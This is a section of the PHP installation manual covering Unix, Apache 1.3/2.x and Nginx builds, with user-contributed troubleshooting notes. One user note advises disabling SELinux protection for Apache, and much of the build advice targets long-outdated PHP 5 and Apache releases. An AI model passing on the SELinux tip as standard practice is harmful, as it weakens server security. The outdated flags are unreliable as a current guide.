    • Command Line PHP on Microsoft Windows
  • Installation on Cloud Computing platforms
    • Microsoft Azure
    • Amazon EC2
  • FastCGI Process Manager (FPM)
    • Installation
    • Configuration
  • Installation of PECL extensions
    • Introduction to PECL Installations
    • Downloading PECL extensions
    • Installing a PHP extension on Windows
    • Compiling shared PECL extensions with the pecl command
    • Compiling shared PECL extensions with phpize
    • php-config
    • Compiling PECL extensions statically into PHP
  • Problems?
    • Read the FAQ
    • Other problems
    • Bug reports
  • Runtime Configuration
    • The configuration file
    • .user.ini files
    • Where a configuration setting may be set
    • How to change configuration settings

User Contributed Notes

There are no user contributed notes for this page.


General Installation Considerations

Before starting the installation, first you need to know what do you want to use PHP for. There are three main fields you can use PHP, as described in the What can PHP do? section:

  • Websites and web applications (server-side scripting)
  • Command line scripting
  • Desktop (GUI) applications

For the first and most common form, you need three things: PHP itself, a web server and a web browser. You probably already have a web browser, and depending on your operating system setup, you may also have a web server (e.g. Apache on Linux and MacOS X; IIS on Windows). You may also rent webspace at a company. This way, you don't need to set up anything on your own, only write your PHP scripts, upload it to the server you rent, and see the results in your browser.

In case of setting up the server and PHP on your own, you have two choices for the method of connecting PHP to the server. For many servers PHP has a direct module interface (also called SAPI). These servers include Apache, Microsoft Internet Information Server, Netscape and iPlanet servers. Many other servers have support for ISAPI, the Microsoft module interface (OmniHTTPd for example). If PHP has no module support for your web server, you can always use it as a CGI or FastCGI processor. This means you set up your server to use the CGI executable of PHP to process all PHP file requests on the server.

If you are also interested to use PHP for command line scripting (e.g. write scripts autogenerating some images for you offline, or processing text files depending on some arguments you pass to them), you always need the command line executable. For more information, read the section about writing command line PHP applications. In this case, you need no server and no browser.

With PHP you can also write desktop GUI applications using the PHP-GTK extension. This is a completely different approach than writing web pages, as you do not output any HTML, but manage windows and objects within them. For more information about PHP-GTK, please » visit the site dedicated to this extension. PHP-GTK is not included in the official PHP distribution.

From now on, this section deals with setting up PHP for web servers on Unix and Windows with server module interfaces and CGI executables. You will also find information on the command line executable in the following sections.

PHP source code and binary distributions for Windows can be found at » http://www.php.net/downloads.php. We recommend you to choose a » mirror nearest to you for downloading the distributions.

User Contributed Notes

There are no user contributed notes for this page.


Installation on Unix systems

Table of Contents

  • Apache 1.3.x on Unix systems
  • Apache 2.x on Unix systems
  • Nginx 1.4.x on Unix systems
  • Lighttpd 1.4 on Unix systems
  • Sun, iPlanet and Netscape servers on Sun Solaris
  • CGI and command line setups
  • HP-UX specific installation notes
  • OpenBSD installation notes
  • Solaris specific installation tips
  • Debian GNU/Linux installation notes

This section will guide you through the general configuration and installation of PHP on Unix systems. Be sure to investigate any sections specific to your platform or web server before you begin the process.

As our manual outlines in the General Installation Considerations section, we are mainly dealing with web centric setups of PHP in this section, although we will cover setting up PHP for command line usage as well.

There are several ways to install PHP for the Unix platform, either with a compile and configure process, or through various pre-packaged methods. This documentation is mainly focused around the process of compiling and configuring PHP. Many Unix like systems have some sort of package installation system. This can assist in setting up a standard configuration, but if you need to have a different set of features (such as a secure server, or a different database driver), you may need to build PHP and/or your web server. If you are unfamiliar with building and compiling your own software, it is worth checking to see whether somebody has already built a packaged version of PHP with the features you need.

Prerequisite knowledge and software for compiling:

  • Basic Unix skills (being able to operate "make" and a C compiler)
  • An ANSI C compiler
  • A web server
  • Any module specific components (such as GD, PDF libs, etc.)

When building directly from Git sources or after custom modifications you might also need:

  • autoconf: 2.13+ (for PHP < 5.4.0), 2.59+ (for PHP >= 5.4.0)
  • automake: 1.4+
  • libtool: 1.4.x+ (except 1.4.2)
  • re2c: Version 0.13.4 or newer
  • flex: Version 2.5.4 (for PHP <= 5.2)
  • bison: Version 1.28 (preferred), 1.35, or 1.75

The initial PHP setup and configuration process is controlled by the use of the command line options of the configure script. You could get a list of all available options along with short explanations running ./configure --help. Our manual documents the different options separately. You will find the core options in the appendix, while the different extension specific options are descibed on the reference pages.

When PHP is configured, you are ready to build the module and/or executables. The command make should take care of this. If it fails and you can't figure out why, see the Problems section.

User Contributed Notes

roman4e at gmail dot com 18-Mar-2011 03:50
Be careful when compiling on system used with apache2 worker MPM (inl. apache-itk). It will be always compiled with ZTS implicitly when you are using --with-apxs2 and no matter how --enable-maintainer-zts configure option is set
packard_bell_nec at hotmail dot com 27-Oct-2007 01:06
If you install PHP as an Apache module, you can consider the following. Instead of adding:

application/x-httpd-php    php
application/x-httpd-php-source    phps

into Apache mime.types, you can add:

AddType application/x-httpd-php    .php
AddType application/x-httpd-php-source    .phps

into Apache httpd.conf, OR you can add:

AddHandler application/x-httpd-php    .php
AddHandler application/x-httpd-php-source    .phps

into Apache httpd.conf. The last one is the preferred way of configuration, but it does not work in previous Apache versions.
phpnet at puellae dot com 17-Oct-2007 07:19
Further down in the links it talks about using the fPIC option in the compiler to fix the SElinux error.  I messed around with it and adding --with-pic to the configure will also allow the module to load.  I have not done more testing with it but apache at least starts.  If you have already compiled you will need to do a make clean before recompiling.
aryeh dot friedman at gmail dot com 13-Sep-2007 01:05
For all multi-core processors (not just Sun as noted above) you need to add --enable-shared-core to the apache config
Alex at GrimMusic dot com 13-Nov-2006 09:49
I am new to linux/apache/php (coming from server 2003/IIS/Asp.Net), so i was stumped as to why php/apache could only use static content. Also, it couldn't access some documents that you created somewhere else, and then dragged into the HTML directory.

After some research, i found the problem was the SELinux context of the files. It took me forever to find the Proper command to use to change that, as all the examples on the net were out dated using old commands:
# chcon "user_u:object_r:httpd_sys_content_t" /var/www/html -Rc

This will change the SELinux context of all the documents under the /var/www/html directory (which is the web directory under Fedora), to allow the httpd process to access them, and the '-Rc' flag will make the changes Recursive, and will output it's progress for each file that it sucessfully changes.
Arjan van Bentem 12-Jul-2006 09:29
When using Red Hat Fedora, beware of Security Enhanced Linux, SELinux.

Quoted from Red Hat: "The security goal is to make sure that Apache HTTP is only reading the static Web content, and not doing anything else such as writing to the content, connecting to database sockets, reading user home directories, etc."

These limitations include, among many other things, using mkdir to create directories, using fopen to access files, using fopen or get_headers to read URLs, or using exec to run external applications that happen to use sockets (or maybe access some files, but which will run fine when executed from the command line as Unix user apache or httpd -- such as HylaFAX "faxstat" as invoked from nweb2fax recvq.php and sendq.php).

See /var/log/messages for any denials due to the SELinux policy. To disable it:

- System, Administration, Security Level and Firewall
- open the SELinux tab
- click the Transition tree
- check Disable SELinux protection for Apache HTTP
- execute /etc/init.d/httpd restart

See also http://fedora.redhat.com/docs/selinux-faq/ and http://php.net/results.php?q=selinux&p=wholesite
thansen at terra dot com dot br 31-Dec-2003 05:36
The configure directives --with-apxs2 and --with-apxs2filter are not compatible one with other, even though the configure script will not complain about that. Each one affect the way Apache will call the php parser: If you choose the first one, you must use the traditional include:

AddType application/x-httpd-php php

at httpd.conf, to call the parser. If you use the --with-apxs2filter, the include will be:

<Files *.php>
        SetOutputFilter PHP
        SetInputFilter  PHP
</Files>

, and php will be called as a filter to .php files.

If you use both together, you will get compilation errors (duplicate symbols while linking libphp4).
doug at NOSPAM dot techie dot net 04-Feb-2003 02:16
Users compiling under some versions of Solaris/SunOS may encounter the following error.
   symbol ap_block_alarms: referenced symbol not found

To address this problem, add the following additional flag to the Apache build configure line:
   --enable-rule=SHARED_CORE

So, adding this to the original instructions, you'd configure your Apache build like so:
   ./configure --prefix=/www --enable-module=so --enable-rule=SHARED_CORE

Doug
marshalm at ebrd dot com 17-May-2001 07:43
HP-UX 11.X PA-RISC installation with oracle (oci8). You need to install the HP-UX patch PHSS_22514 patch (updated libdld.sl), otherwise you will get errors with dlopen() and dlclose() not found during the apache integration stage.


Apache 1.3.x on Unix systems

This section contains notes and hints specific to Apache installs of PHP on Unix platforms. We also have instructions and notes for Apache 2 on a separate page.

You can select arguments to add to the configure on line 10 below from the list of core configure options and from extension specific options described at the respective places in the manual. The version numbers have been omitted here, to ensure the instructions are not incorrect. You will need to replace the 'xxx' here with the correct values from your files.

Example #1 Installation Instructions (Apache Shared Module Version) for PHP

1.  gunzip apache_xxx.tar.gz
2.  tar -xvf apache_xxx.tar
3.  gunzip php-xxx.tar.gz
4.  tar -xvf php-xxx.tar
5.  cd apache_xxx
6.  ./configure --prefix=/www --enable-module=so
7.  make
8.  make install
9.  cd ../php-xxx

10. Now, configure your PHP.  This is where you customize your PHP
    with various options, like which extensions will be enabled.  Do a
    ./configure --help for a list of available options.  In our example
    we'll do a simple configure with Apache 1 and MySQL support.  Your
    path to apxs may differ from our example.

      ./configure --with-mysql --with-apxs=/www/bin/apxs

11. make
12. make install

    If you decide to change your configure options after installation,
    you only need to repeat the last three steps. You only need to
    restart apache for the new module to take effect. A recompile of
    Apache is not needed.

    Note that unless told otherwise, 'make install' will also install PEAR,
    various PHP tools such as phpize, install the PHP CLI, and more.

13. Setup your php.ini file:

      cp php.ini-development /usr/local/lib/php.ini

    You may edit your .ini file to set PHP options.  If you prefer your
    php.ini in another location, use --with-config-file-path=/some/path in
    step 10.

    If you instead choose php.ini-production, be certain to read the list
    of changes within, as they affect how PHP behaves.

14. Edit your httpd.conf to load the PHP module.  The path on the right hand
    side of the LoadModule statement must point to the path of the PHP
    module on your system.  The make install from above may have already
    added this for you, but be sure to check.

      LoadModule php5_module libexec/libphp5.so

15. And in the AddModule section of httpd.conf, somewhere under the
    ClearModuleList, add this:

      AddModule mod_php5.c

16. Tell Apache to parse certain extensions as PHP.  For example,
    let's have Apache parse the .php extension as PHP.  You could
    have any extension(s) parse as PHP by simply adding more, with
    each separated by a space.  We'll add .phtml to demonstrate.

      AddType application/x-httpd-php .php .phtml

    It's also common to setup the .phps extension to show highlighted PHP
    source, this can be done with:

      AddType application/x-httpd-php-source .phps

17. Use your normal procedure for starting the Apache server. (You must
    stop and restart the server, not just cause the server to reload by
    using a HUP or USR1 signal.)

Alternatively, to install PHP as a static object:

Example #2 Installation Instructions (Static Module Installation for Apache) for PHP

1.  gunzip -c apache_1.3.x.tar.gz | tar xf -
2.  cd apache_1.3.x
3.  ./configure
4.  cd ..

5.  gunzip -c php-5.x.y.tar.gz | tar xf -
6.  cd php-5.x.y
7.  ./configure --with-mysql --with-apache=../apache_1.3.x
8.  make
9.  make install

10. cd ../apache_1.3.x

11. ./configure --prefix=/www --activate-module=src/modules/php5/libphp5.a
    (The above line is correct! Yes, we know libphp5.a does not exist at this
    stage. It isn't supposed to. It will be created.)

12. make
    (you should now have an httpd binary which you can copy to your Apache bin dir if
    it is your first install then you need to "make install" as well)

13. cd ../php-5.x.y
14. cp php.ini-development /usr/local/lib/php.ini

15. You can edit /usr/local/lib/php.ini file to set PHP options.
    Edit your httpd.conf or srm.conf file and add:
    AddType application/x-httpd-php .php

Depending on your Apache install and Unix variant, there are many possible ways to stop and restart the server. Below are some typical lines used in restarting the server, for different apache/unix installations. You should replace /path/to/ with the path to these applications on your systems.

Example #3 Example commands for restarting Apache

1. Several Linux and SysV variants:
/etc/rc.d/init.d/httpd restart

2. Using apachectl scripts:
/path/to/apachectl stop
/path/to/apachectl start

3. httpdctl and httpsdctl (Using OpenSSL), similar to apachectl:
/path/to/httpsdctl stop
/path/to/httpsdctl start

4. Using mod_ssl, or another SSL server, you may want to manually
stop and start:
/path/to/apachectl stop
/path/to/apachectl startssl

The locations of the apachectl and http(s)dctl binaries often vary. If your system has locate or whereis or which commands, these can assist you in finding your server control programs.

Different examples of compiling PHP for apache are as follows:

./configure --with-apxs --with-pgsql

This will create a libphp5.so shared library that is loaded into Apache using a LoadModule line in Apache's httpd.conf file. The PostgreSQL support is embedded into this library.

./configure --with-apxs --with-pgsql=shared

This will create a libphp5.so shared library for Apache, but it will also create a pgsql.so shared library that is loaded into PHP either by using the extension directive in php.ini file or by loading it explicitly in a script using the dl() function.

./configure --with-apache=/path/to/apache_source --with-pgsql

This will create a libmodphp5.a library, a mod_php5.c and some accompanying files and copy this into the src/modules/php5 directory in the Apache source tree. Then you compile Apache using --activate-module=src/modules/php5/libphp5.a and the Apache build system will create libphp5.a and link it statically into the httpd binary. The PostgreSQL support is included directly into this httpd binary, so the final result here is a single httpd binary that includes all of Apache and all of PHP.

./configure --with-apache=/path/to/apache_source --with-pgsql=shared

Same as before, except instead of including PostgreSQL support directly into the final httpd you will get a pgsql.so shared library that you can load into PHP from either the php.ini file or directly using dl().

When choosing to build PHP in different ways, you should consider the advantages and drawbacks of each method. Building as a shared object will mean that you can compile apache separately, and don't have to recompile everything as you add to, or change, PHP. Building PHP into apache (static method) means that PHP will load and run faster. For more information, see the Apache » web page on DSO support.

Note:

Apache's default httpd.conf currently ships with a section that looks like this:

User nobody
Group "#-1"
Unless you change that to "Group nogroup" or something like that ("Group daemon" is also very common) PHP will not be able to open files.

Note:

Make sure you specify the installed version of apxs when using --with-apxs=/path/to/apxs . You must NOT use the apxs version that is in the apache sources but the one that is actually installed on your system.

User Contributed Notes

There are no user contributed notes for this page.


Apache 2.x on Unix systems

This section contains notes and hints specific to Apache 2.x installs of PHP on Unix systems.

Warning

We do not recommend using a threaded MPM in production with Apache 2. Use the prefork MPM, which is the default MPM with Apache 2.0 and 2.2. For information on why, read the related FAQ entry on using Apache2 with a threaded MPM

The » Apache Documentation is the most authoritative source of information on the Apache 2.x server. More information about installation options for Apache may be found there.

The most recent version of Apache HTTP Server may be obtained from » Apache download site, and a fitting PHP version from the above mentioned places. This quick guide covers only the basics to get started with Apache 2.x and PHP. For more information read the » Apache Documentation. The version numbers have been omitted here, to ensure the instructions are not incorrect. In the examples below, 'NN' should be replaced with the specific version of Apache being used.

There are currently two versions of Apache 2.x - there's 2.0 and 2.2. While there are various reasons for choosing each, 2.2 is the current latest version, and the one that is recommended, if that option is available to you. However, the instructions here will work for either 2.0 or 2.2.

  1. Obtain the Apache HTTP server from the location listed above, and unpack it:

    gzip -d httpd-2_x_NN.tar.gz
tar -xf httpd-2_x_NN.tar

  2. Likewise, obtain and unpack the PHP source:

    gunzip php-NN.tar.gz
tar -xf php-NN.tar

  3. Build and install Apache. Consult the Apache install documentation for more details on building Apache.

    cd httpd-2_x_NN
./configure --enable-so
make
make install

  4. Now you have Apache 2.x.NN available under /usr/local/apache2, configured with loadable module support and the standard MPM prefork. To test the installation use your normal procedure for starting the Apache server, e.g.:

    /usr/local/apache2/bin/apachectl start
    and stop the server to go on with the configuration for PHP:
    /usr/local/apache2/bin/apachectl stop

  5. Now, configure and build PHP. This is where you customize PHP with various options, like which extensions will be enabled. Run ./configure --help for a list of available options. In our example we'll do a simple configure with Apache 2 and MySQL support.

    If you built Apache from source, as described above, the below example will match your path for apxs, but if you installed Apache some other way, you'll need to adjust the path to apxs accordingly. Note that some distros may rename apxs to apxs2.

    cd ../php-NN
./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql
make
make install

    If you decide to change your configure options after installation, you'll need to re-run the configure, make, and make install steps. You only need to restart apache for the new module to take effect. A recompile of Apache is not needed.

    Note that unless told otherwise, 'make install' will also install PEAR, various PHP tools such as phpize, install the PHP CLI, and more.

  6. Setup your php.ini

    cp php.ini-development /usr/local/lib/php.ini

    You may edit your .ini file to set PHP options. If you prefer having php.ini in another location, use --with-config-file-path=/some/path in step 5.

    If you instead choose php.ini-production, be certain to read the list of changes within, as they affect how PHP behaves.

  7. Edit your httpd.conf to load the PHP module. The path on the right hand side of the LoadModule statement must point to the path of the PHP module on your system. The make install from above may have already added this for you, but be sure to check.

    LoadModule php5_module modules/libphp5.so

  8. Tell Apache to parse certain extensions as PHP. For example, let's have Apache parse .php files as PHP. Instead of only using the Apache AddType directive, we want to avoid potentially dangerous uploads and created files such as exploit.php.jpg from being executed as PHP. Using this example, you could have any extension(s) parse as PHP by simply adding them. We'll add .php to demonstrate.

    <FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

    Or, if we wanted to allow .php, .php2, .php3, .php4, .php5, .php6, and .phtml files to be executed as PHP, but nothing else, we'd use this:

    <FilesMatch "\.ph(p[2-6]?|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

    And to allow .phps files to be handled by the php source filter, and displayed as syntax-highlighted source code, use this:

    <FilesMatch "\.phps$">
    SetHandler application/x-httpd-php-source
</FilesMatch>

    mod_rewrite may be used To allow any arbitrary .php file to be displayed as syntax-highlighted source code, without having to rename or copy it to a .phps file:

    RewriteEngine On
RewriteRule (.*\.php)s$ $1 [H=application/x-httpd-php-source]

    The php source filter should not be enabled on production systems, where it may expose confidential or otherwise sensitive information embedded in source code.

  9. Use your normal procedure for starting the Apache server, e.g.:

    /usr/local/apache2/bin/apachectl start

    OR

    service httpd restart

Following the steps above you will have a running Apache2 web server with support for PHP as a SAPI module. Of course there are many more configuration options available Apache and PHP. For more information type ./configure --help in the corresponding source tree.

Apache may be built multithreaded by selecting the worker MPM, rather than the standard prefork MPM, when Apache is built. This is done by adding the following option to the argument passed to ./configure, in step 3 above:

--with-mpm=worker

This should not be undertaken without being aware of the consequences of this decision, and having at least a fair understanding of the implications. The Apache documentation regarding » MPM-Modules discusses MPMs in a great deal more detail.

Note:

The Apache MultiViews FAQ discusses using multiviews with PHP.

Note:

To build a multithreaded version of Apache, the target system must support threads. In this case, PHP should also be built with experimental Zend Thread Safety (ZTS). Under this configuration, not all extensions will be available. The recommended setup is to build Apache with the default prefork MPM-Module.

User Contributed Notes

Sami Fouad 15-Jan-2014 05:01
If you're using Ubuntu, all that's really required is two terminal commands. Please see the Installation notes link on the left for Debian/Ubuntu.
svepa at milestone42 dot com 12-Oct-2011 05:35
On 64-bit Fedora systems (I'm using Fedora 14), configuring PHP to use the MySQL libraries installed as part of the distribution gives the following error if you follow the default instructions in this manual.

Cannot find libmysqlclient under /usr

Modifying he following invocation of configure as follows:

./configure --with-apxs2=/path/to/apxs --with-libdir=lib64 --with-mysql

should work.

Note the addition of --with-libdir=lib64
This points the configure script to look for 64-bit mysqlclient libraries.
nmmm at nmmm dot nu 09-Aug-2009 10:13
When I upgrade to apache 2.2, this:

AddType application/x-httpd-php .php5
AddType application/x-httpd-php .php42
AddType application/x-httpd-php .php4
AddType application/x-httpd-php .php3
AddType application/x-httpd-php .php
AddType application/x-httpd-php .phtm
AddType application/x-httpd-php .phtml
AddType application/x-httpd-php .asp

...does not worked for me, so I did this:

<FilesMatch "\.(php*|phtm|phtml|asp|aspx)$">
SetHandler application/x-httpd-php
</FilesMatch>

Another interesting point with Apache 2.2 is following.
Let suppose we installed PHP as module. But for some directory, we need to use PHP as CGI (probably because of custom configuration). This can be done using:

<FilesMatch "\.(php*|phtm|phtml|asp|aspx)$">
SetHandler none
</FilesMatch>

AddType application/x-httpd-php-custom .php
Action  application/x-httpd-php-custom  /cgi-bin/php-huge

Note type must be different than "application/x-httpd-php" and also you need to deactivate the handler on sertain extention. You can do mixed configuration:

<FilesMatch "\.(php)$">
SetHandler none
</FilesMatch>

AddType application/x-httpd-php-custom .php
Action  application/x-httpd-php-custom  /cgi-bin/php-huge

in such case files like *.php5 and so on will be parsed via module, but *.php will go to php-huge executable.
Anonymous 17-Jun-2009 07:58
Solution for fedora is yum install mysql-devel. Then set --with-mysql=/usr/include/mysql/
monguesto
Tom420.Duhamel 02-Feb-2009 02:31
I have successfully installed Apache 2.2.11 and PHP 5.2.8 under Red Hat 9.0 on a Pentium 166 with 32 MB of RAM.

While I used RH9, the worst possible case, these notes are probably good for RH-based distributions too (Red Hat Enterprise, Fedora, CentOS...)

If you want to install MySQL, it needs to be installed before PHP because PHP requires some libraries be available.

One think important when picking up a binary distribution of MySQL is to download all four packages: MySQL-server, MySQL-devel, MySQL-client and MySQL-shared. Note: The MySQL was bundled with PHP 4 but is not anymore in PHP 5.

Then you need to install Apache before PHP, because again PHP needs some libraries be available. I installed Apache 2 from source, using the very last version available, which is 2.2.11.

I installed PHP 5.2.8 from source. Here, I had a number of problems, but none which I could not resolve easily, some of them with a little help from different forums I found through Google.

Rembember: When it says you need a package named xyz and you notice there is also one named xyz-devel, grab it.

Most of the packages I got from:
http://legacy.redhat.com/pub/redhat/linux/9/en/os/i386/RedHat/RPMS/
A similar page exists for other versions of Red Hat
and:
http://rpmfind.net/
This site has an updated version of some of the packages. Make sure to use only the one labeled for you version (in my case, Red Hat 9.0) or it will not likely work.

You already have glibc and glibc-common installed, but you need to get glibc-devel and glibc-kernheaders. Make sure to match glibc's version (rpm -q glibc). Note: When it says kernel-header is a required dependency, that's glibc-kernheader (not kernel-source). You will also need binutils (no need to match the version), and gcc and cpp (version must match).

You need zlib-devel (zlib is probably already installed, match the version you have).

If you install the GD extension, the actual library is already bundled with PHP 5 (use that one, they have done some changes in there, so don't upgrade), but you will need to install libpng and libpng-devel (match version, or disable in configure if you don't want) and libjpeg (no -devel with that one).

You will also need libxml2. Now there were a problem, because PHP requires libxml2 be 2.6 or greater, but Red Hat only supplied 2.5.4-1 for RH9 (if you have a more recent distro, you might be more lucky). After looking for a while, I decided to grab the source code for the most recent distribution at the official website (http://xmlsoft.org/) and compiled.

Hope my post is useful to someone. Please, share your experience when compiling/installing for your particular platform and setup. Remember how hard it's been for you the very first time. I confess, my very first server installation took me nearly a week and I was glad others helped me.
chris@gerlt -dot- net 22-Sep-2006 03:33
Install issues on Redhat, specifically RHEL4 with php4 already installed:

I discovered that there was an issue caused by redhat loading php4 in another file seperate from the httpd.conf file!  This took me hours to discover.  Make sure you know if the apache config file (httpd.conf) is loading configurations from a directory (or another file(s)) as well.  If so, look in there for any php module loading which could conflict with the new module you are compiling/installing.
susie91 28-Aug-2006 05:34
for slackware 10.2 users with apache2, mysql5, and trying to install php5:

when following the directions above, after this step:

./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql

i kept getting this error:
"Unable to find MySql header files...."

the only way i could get php5 with mysql support was to compile MySql5 from source, and not use the binary as the mysql site recommends.

then i was able to ./configure successfully, but for some reason php was configured to compile the CGI version.

so, had to use this ./configure line:

./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql=/usr/local/mysql  --disable-cgi

alternatively, you could install php4 which does bundle the MySql client files.
jaya 05-Jul-2006 08:41
PHP 5.1.4 INSTALLATION on Solaris 9 (Sparc)

Solaris9 Packages Installed:

Verify required package installation:
root# pkginfo SUNWbtool SUNWsprot SUNWtoo SUNWhea SUNWarc \
SUNWlibm SUNWlibms SUNWdfbh SUNWxglh SUNWcg6h

Uninstall Default Apache Packages:
root# /etc/init.d/apache stop
root# pkginfo |grep Apache
root# pkgrm SUNWaclg SUNWapchd SUNWapchr SUNWapchu

Create installation Directory:
root# mkdir /phpdata/

Download Required Packages from Sunfreeware:

Install libiconv-1.8 and gcc3.3.2 packages
root# pkgadd -d ./libiconv-1.8-sol9-sparc-local
root# pkgadd -d ./gcc-3.3.2-sol9-sparc-local

set LD_LIBRARY_PATH, CC and PATH variables
root# LD_LIBRARY_PATH=/usr/local/lib:/usr/local/lib/sparcv9/:\
/usr/lib:/usr/openwin/lib:/opt/local/lib:/usr/local/ssl/lib:\
/usr/local/apr/lib:/opt/mysql/mysql/lib
root# CC=gcc
root# PATH=$PATH:/usr/ucb:/usr/local/bin/
root# export LD_LIBRARY_PATH CC PATH

Install apr-1.2.2 and aprutil-1.2.2 packages

root# gzcat apr-1.2.2.tar.gz |tar xvf -
root# cd apr-1.2.2
root# ./configure
root# make
root# make install
root# cd ..

root# gzcat aprutil-1.2.2.tar.gz |tar xvf -
root# cd apr-util-1.2.2/
root# ./configure --with-apr=/usr/local/apr/
root# make
root# make install

Install gawk-3.1.4, expat-1.95.5, db-4.2.52.NC,
gdbm-1.8.3, libgcc-3.3 and libxml2-2.6.16 packages
root# cd ..
root# pkgadd -d ./gawk-3.1.4-sol9-sparc-local
root# pkgadd -d ./expat-1.95.5-sol9-sparc-local
root# pkgadd -d ./db-4.2.52.NC-sol9-sparc-local
root# pkgadd -d ./gdbm-1.8.3-sol9-sparc-local
root# pkgadd -d ./libgcc-3.3-sol9-sparc-local
root# pkgadd -d ./libxml2-2.6.16-sol9-sparc-local

Install GNU make package
root# gzcat make-3.81.tar.gz |tar xvf -
root# cd make-3.81
root# ./configure
root# make
root# make install
root# cd ..

Install mysql-standard-5.0.22 package
Search for user mysql
root# grep mysql /etc/passwd
root# grep mysql /etc/group

If not found create user and group mysql
root# groupadd mysql
root# useradd -G mysql mysql
root# pkgadd -d ./mysql-standard-5.0.22-solaris9-sparc.pkg.gz

Install openssl-0.9.7g package
root# gzcat openssl-0.9.7g.tar.gz |tar xvf -
root# cd openssl-0.9.7g
root# ./config shared
root# make
root# make install
root# cd ..

Install Apache2 package
root# gzcat httpd-2.2.0.tar.gz |tar xvf -
root# cd httpd-2.2.0
root# ./configure --enable-so
root# /usr/local/bin/make
root# /usr/local/bin/make install
root# cd ..

Install php-5.1.4 package
root# gzcat php-5.1.4.tar.gz |tar xvf -
root# cd php-5.1.4
root# ./configure --with-apxs2=/usr/local/apache2/bin/apxs\
--with-ldap --with-mysql=/opt/mysql/mysql/
root# /usr/local/bin/make
root# /usr/local/bin/make install
root# cp php.ini-dist /usr/local/lib/php.ini

Edit httpd.conf to load the PHP module
and to parse certain extensions as PHP
root# vi /usr/local/apache2/conf/httpd.conf
LoadModule php5_module modules/libphp5.so
AddType application/x-httpd-php .php .phtml

Start Apache
root# /usr/local/apache2/bin/apachectl start

Add environmental variables below HTTPD
root# vi /usr/local/apache2/bin/apachectl
LD_LIBRARY_PATH=/usr/local/lib:/usr/local/lib/sparcv9/:
/usr/lib:/usr/openwin/lib:/opt/local/lib:/usr/local/ssl/lib:
/usr/local/apr/lib:/opt/mysql/mysql/lib
PATH=/bin:/sbin:/usr/ccs/bin:/usr/sbin:/usr/openwin/bin:\
/usr/ucb:/usr/local/bin/
export LD_LIBRARY_PATH PATH

Create Apache Startup Script
felixcca at yahoo dot ca 30-Mar-2006 03:13
I've (painfully) discovered that installing PHP5 with "make install" under SuSe 9.2 is NOT a good idea.
http://www.aditus.nu/jpgraph/apache2suse.php
This page explains how to install it without breaking everything that's php-related in the Apache2 configuration. Its first purpose, though, is to show how to have php 4 and 5 to cohabit properly.
frank@ethisoft 28-Sep-2005 11:30
Using Apache2 & PHP5 work perfectly fine & safe together.
- all core modules are safe in Zend Engine 2
- third-party-libraries should be avoided
- semaphores and shared memory enables you to ensure yourself that your application/website is thread-safe also with non-thread-safe PHP modules!
happyboy at php dot org 04-Aug-2005 01:30
FILE TRUNCATED!!

during the make process should u receive an error declaring ext/ctype/ctype.lo (or another file) is truncated then you need to 'make clean' prior to a healthy 'make' and 'make install.'

looking into your ext/ directory you may find the offensive file to be 1 byte long.
mihai dot sandu at gtstelecom dot ro 28-Feb-2005 02:22
For the SuSE9.2 install of PHP5.
First:
If building on a x64 platform, please set LDFLAGS="-L/usr/lib64" before configure.
As for install, it suffices to go to /etc/apache2 and:
ln -s sysconfig.d/loadmodule.conf httpd2-prefork.conf
and then make install
neil 10-Feb-2005 11:21
To install mysql and mysqli with PHP5 do the following:

after doing:

./configure --with-mysql=/path/to/mysql_config --with-mysqli=/path/to/mysql_config

do this:

"
    if you want to use both the old mysql and the new mysqli interface, load the Makefile into your editor and search for the line beginning with EXTRA_LIBS; it includes -lmysqlclient twice; remove the second instance
"

then you can:

make
make install

.....
Pleasse note: you must have mysql-dev installed (RPM or source) or you will not have the mysql_config file at all.  The standard, server, and client installations of MySQL do not include it.  I read somewhere that the mysql and mysqli paths must be identical.

Quoted from Michael Kofler at the following link:
http://www.kofler.cc/forum/forumthread.php?rootID=3571
Dan Scott (dan dot scott at acm dot org) 20-Jan-2005 05:36
Building PHP 5.x with Apache2 on SuSE Professional 9.1/9.2

SuSE uses a rather fragmented set of Apache configuration files stored in /etc/apache2/. When you configure PHP 5.x with:

$ ./configure --with-apxs2=/usr/sbin/apxs2
$ make

everything builds just fine; but when you issue:
$ su -c "make install"

the unconventional Apache conf file layout confuses the install-sapi section of the Makefile and the process halts with the following error:

apxs:Error: Config file /etc/apache2/httpd2-prefork.conf not found.
make: *** [install-sapi] Error 1

At this point only the PHP SAPI library has been copied into place; the rest of the files (like PEAR scripts, PHP-CLI, etc) have not been installed. But never fear! You can overcome this problem with the following steps:

1. Edit Makefile and change the following line to remove "install-sapi":
install_targets = install-sapi install-cli install-pear install-build install-headers install-programs

2. Issue the make install command again:
$ su -c "make install"

3. Add the PHP module & type instructions to the Apache configuration. As root, create a new file, /etc/apache2/conf.d/php5.conf that contains the following lines:

LoadModule php5_module /usr/lib/apache2/libphp5.so
AddType application/x-httpd-php php

--- And that's it. Everything else is just as the documentation suggests it should be.
praveen dot k at masconit dot com 15-Nov-2004 10:38
Hi too had same problem with multiview like when i execute http://huey/admin/test.php it used to compile but when i use http://huey/admin/test it wouldnt recognise it as php file... i worked it out with the addhandler method and AddType in different line and setting multiview for directive

"multiviews Options Indexes FollowSymLinks MultiViews"

the directives u can set it to root directory so now when u type pn test it will search in precendence for test.php, test.html if any .....

its working for me with apache2.0.47 and php 4.3.9 on solaris

praveen


Nginx 1.4.x on Unix systems

This documentation will cover installing and configuring PHP with PHP-FPM for a Nginx 1.4.x HTTP server.

This guide will assume that you have built Nginx from source and therefore all binaries and configuration files are located at /usr/local/nginx. If this is not the case and you have obtained Nginx through other means then please refer to the » Nginx Wiki in order to translate this manual to your setup.

This guide will cover the basics of configuring an Nginx server to process PHP applications and serve them on port 80, it is recommended that you study the Nginx and PHP-FPM documentation if you wish to optimise your setup past the scope of this documentation.

Please note that throughout this documentation version numbers have been replaced with an 'x' to ensure this documentation stays correct in the future, please replace these as necessary with the corresponding version numbers.

  1. It is recomended that you visit the Nginx Wiki » install page in order to obtain and install Nginx on your system.

  2. Obtain and unpack the PHP source:

    tar zxf php-x.x.x

  3. Configure and build PHP. This is where you customize PHP with various options, like which extensions will be enabled. Run ./configure --help for a list of available options. In our example we'll do a simple configure with PHP-FPM and MySQL support.

    cd ../php-x.x.x
./configure --enable-fpm --with-mysql
make
